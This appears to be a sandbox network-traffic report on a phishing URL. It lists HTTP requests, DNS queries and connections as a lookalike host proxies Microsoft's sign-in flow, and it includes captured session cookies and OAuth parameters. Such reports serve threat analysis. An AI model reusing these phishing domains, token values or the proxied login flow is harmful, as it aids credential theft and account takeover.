Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://butter.mnrov.eg-mart.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://butter.mnrov.eg-mart.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://butter.mnrov.eg-mart.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://butter.mnrov.eg-mart.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=rszwPrLvACtc23F&MD=zB2GzbMC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /common/GetCredentialType?mkt=en-US HTTP/1.1Host: butter.mnrov.eg-mart.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-JanPB47Zzx4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeOgrWZOqrQ1uFsg9pHwAYLs57srf2d6Kdd__WOjYP9hSZswfxwnfgz3MfCVmDjmamp4lAtnhHdXZyQD8DNgUm_YOhIfeFzs65Pfop03rao2y7IEPZ8iZeP6MdwidpoY9qTKIXS1kzQOU-R5DFBU4bvSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATQAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA0AA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeipCc4ldnS61jJLBkrluvKKjPhkbyjnm7FJb-rDg5hR4CxXPlbFma3FhlwQ5_7cbQA45yaCvZ_uF0aSaIVZoxJqjEdfJKv_MxBDaL_hD7Wd4gAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezhwTsZEpQggFeYkQRv1HpP4yyZJelITyUo-TKUiV2Idv4ezzEHYhx7nupcdSPwX7TxLpCx_OLQeHgXCfyPIzpf5mISakq9mCP0OWEFaQuXfewqC6vxubsvbaZuxNsHot4mJJ63tSlE2AoLbZM1KjkxE7z5ezI6dGOLYx8VnXtEsgAA; esctx-iB8Pq6MyNGQ=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeMZ6diUzLG_ohrrKcqO5C8Wl88tOt2ObB-PTJZdX3Os-NF9Zdsl8i3vv09yhXFsZhb-VqoJJ6D81Nuf_kQQMqWso3cWSko8VzNqKbs76xIxuXBunFefHlEnpUx9WMhujsZppHiVglJ10YwcnUjEjJhyAA; fpc=As8-FCUdWYJOniJMOE9eVDK8Ae7AAQAAALoQyN4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /jato.com/winauth/ssoprobe?client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&_=1731598791354 HTTP/1.1Host: autologon.microsoftazuread-sso.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://butter.mnrov.eg-mart.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_ppassword_89db715e3340a2e8ecd8.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://butter.mnrov.eg-mart.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /common/instrumentation/dssostatus HTTP/1.1Host: butter.mnrov.eg-mart.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-JanPB47Zzx4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeOgrWZOqrQ1uFsg9pHwAYLs57srf2d6Kdd__WOjYP9hSZswfxwnfgz3MfCVmDjmamp4lAtnhHdXZyQD8DNgUm_YOhIfeFzs65Pfop03rao2y7IEPZ8iZeP6MdwidpoY9qTKIXS1kzQOU-R5DFBU4bvSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATQAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA0AA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeipCc4ldnS61jJLBkrluvKKjPhkbyjnm7FJb-rDg5hR4CxXPlbFma3FhlwQ5_7cbQA45yaCvZ_uF0aSaIVZoxJqjEdfJKv_MxBDaL_hD7Wd4gAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezhwTsZEpQggFeYkQRv1HpP4yyZJelITyUo-TKUiV2Idv4ezzEHYhx7nupcdSPwX7TxLpCx_OLQeHgXCfyPIzpf5mISakq9mCP0OWEFaQuXfewqC6vxubsvbaZuxNsHot4mJJ63tSlE2AoLbZM1KjkxE7z5ezI6dGOLYx8VnXtEsgAA; esctx-iB8Pq6MyNGQ=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeMZ6diUzLG_ohrrKcqO5C8Wl88tOt2ObB-PTJZdX3Os-NF9Zdsl8i3vv09yhXFsZhb-VqoJJ6D81Nuf_kQQMqWso3cWSko8VzNqKbs76xIxuXBunFefHlEnpUx9WMhujsZppHiVglJ10YwcnUjEjJhyAA; fpc=As8-FCUdWYJOniJMOE9eVDK8Ae7AAQAAALoQyN4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_ppassword_89db715e3340a2e8ecd8.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c1c6b6c8-kvmpe46lae-jcs91vhnee67h2tbwkcjgakvyqk1j76s/logintenantbranding/0/illustration?ts=638633096749532030 HTTP/1.1Host: aadcdn.msftauthimages.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://butter.mnrov.eg-mart.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c1c6b6c8-kvmpe46lae-jcs91vhnee67h2tbwkcjgakvyqk1j76s/logintenantbranding/0/bannerlogo?ts=638633076084388030 HTTP/1.1Host: aadcdn.msftauthimages.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://butter.mnrov.eg-mart.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_43280e0ba671a1d8b5e34f1931c4fe4b.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://butter.mnrov.eg-mart.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_43280e0ba671a1d8b5e34f1931c4fe4b.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c1c6b6c8-kvmpe46lae-jcs91vhnee67h2tbwkcjgakvyqk1j76s/logintenantbranding/0/bannerlogo?ts=638633076084388030 HTTP/1.1Host: aadcdn.msftauthimages.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c1c6b6c8-kvmpe46lae-jcs91vhnee67h2tbwkcjgakvyqk1j76s/logintenantbranding/0/illustration?ts=638633096749532030 HTTP/1.1Host: aadcdn.msftauthimages.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.ml
Source: global traffic	DNS traffic detected: DNS query: iestpcanipaco.edu.pe
Source: global traffic	DNS traffic detected: DNS query: stoneinstallations.net.au
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: butter.mnrov.eg-mart.com
Source: global traffic	DNS traffic detected: DNS query: butter1.mnrov.eg-mart.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: identity.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: butter2.mnrov.eg-mart.com
Source: global traffic	DNS traffic detected: DNS query: autologon.microsoftazuread-sso.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauthimages.net

Source: unknown

HTTP traffic detected: POST /common/GetCredentialType?mkt=en-US HTTP/1.1Host: butter.mnrov.eg-mart.comConnection: keep-aliveContent-Length: 1991sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"hpgrequestid: 1aba22a1-ac25-4d59-81a4-713653f54200sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36client-request-id: e4f51108-acbb-4b9c-b0ce-ee6009dc8e5bcanary: PAQABDgEAAADW6jl31mB3T7ugrWTT8pFerl-SgcwSXelm04RwmEABbAXiODw46VB0VZL5qXgJevw5J3XvxtLBKUZREiHNPaKdWaYXU7Wz2Xt30l_vWgE2rWvLwrUBUK4SZWfWsHL-CAsMqwV40uEjeou48pFVGDUX0fR5bC6uUYOi00Dg4hgWXEAcTMXnPgePvmohAJesl4f54WnmepNuxFTzTFjmhP9ONSRdx3QTC-vtUUiZl7eq8CAAContent-type: application/json; charset=UTF-8hpgid: 1104Accept: application/jsonhpgact: 1800sec-ch-ua-platform: "Windows"Origin: https://butter.mnrov.eg-mart.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://butter.mnrov.eg-mart.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZjFmOGMyNGI2ODZlMDViMDA3N2UtMTM0NS00YWVjLThkMzItZDVjNzVhMjUzZDA1&ui_locales=en-US&mkt=en-US&client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&state=t82KkN8qSrLC6URXxGdzdwPPGQUxDdOt5fnn77Wq5veWYrdD5gSLye_fXugX7AJv4pVjGGaVtiId25gWUs030S8Snr3gZnLbSN5zloepdfeyXTGHFWSy_eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-JanPB47Zzx4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeOgrWZOqrQ1uFsg9pHwAYLs57srf2d6Kdd__WOjYP9hSZswfxwnfgz3MfCVmDjmamp4lAtnhHdXZyQD8DNgUm_YOhIfeFzs65Pfop03rao2y7IEPZ8iZeP6MdwidpoY9qTKIXS1kzQOU-R5DFBU4bvSAA; AADSSO=NA|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATQAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA0AA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeipCc4ldnS61jJLBkrluvKKjPhkbyjnm7FJb-rDg5hR4CxXPlbFma3FhlwQ5_7cbQA45yaCvZ_uF0aSaIVZoxJqjEdfJKv_MxBDaL_hD7Wd4gAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezhwTsZEpQggFeYkQRv1HpP4yyZJelITyUo-TKUiV2Idv4ezzEHYhx7nupcdSPwX7TxLpCx_OLQeHgXCfyPIzpf5mISakq9mCP0OWEFaQuXfewqC6vxubsvbaZuxNsHot4mJJ63tSlE2AoLbZM1KjkxE7z5ezI6dGOLYx8VnXtEsgAA; esctx-iB8Pq6MyNGQ=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeMZ6diUzLG_ohrrKcqO5C8Wl88tOt2ObB-PTJZdX3Os-NF9Zdsl8i3vv09yhXFsZhb-VqoJJ6D81Nuf_kQQMqWso3cWSko8VzNqKbs76xIxuXBunFefHlEnpUx9WMhujsZppHiVglJ10YwcnUjEjJhyAA; fpc=As8-FCUdWYJOniJMOE9eVDK8Ae7AAQAAALoQyN4OAAAA; brcap=0

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.2Date: Thu, 14 Nov 2024 15:39:38 GMTContent-Length: 0Connection: closeCache-Control: privateNel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"Referrer-Policy: strict-origin-when-cross-originReport-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+frc"}]}Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyX-Ms-Ests-Server: 2.1.19343.4 - WEULR1 ProdSlicesX-Ms-Request-Id: afb8b147-52db-42fa-b75f-a462caa50c00X-Ms-Srs: 1.P

Source: chromecache_186.1.dr, chromecache_195.1.dr	String found in binary or memory: http://feross.org
Source: chromecache_205.1.dr, chromecache_178.1.dr, chromecache_182.1.dr, chromecache_187.1.dr	String found in binary or memory: http://knockoutjs.com/
Source: chromecache_205.1.dr, chromecache_178.1.dr, chromecache_182.1.dr, chromecache_187.1.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: chromecache_181.1.dr, chromecache_170.1.dr	String found in binary or memory: https://butter.mnrov.eg-mart.com
Source: chromecache_180.1.dr, chromecache_172.1.dr, chromecache_186.1.dr, chromecache_174.1.dr, chromecache_205.1.dr, chromecache_206.1.dr, chromecache_178.1.dr, chromecache_182.1.dr, chromecache_187.1.dr, chromecache_176.1.dr, chromecache_195.1.dr, chromecache_190.1.dr	String found in binary or memory: https://github.com/douglascrockford/JSON-js
Source: chromecache_181.1.dr, chromecache_170.1.dr	String found in binary or memory: https://login.windows-ppe.net

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 60552 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 60549 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49690
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60549
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60548
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60547
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60546
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60544
Source: unknown	Network traffic detected: HTTP traffic on port 60550 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60544 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60552
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60551
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60550
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60547 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60551 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
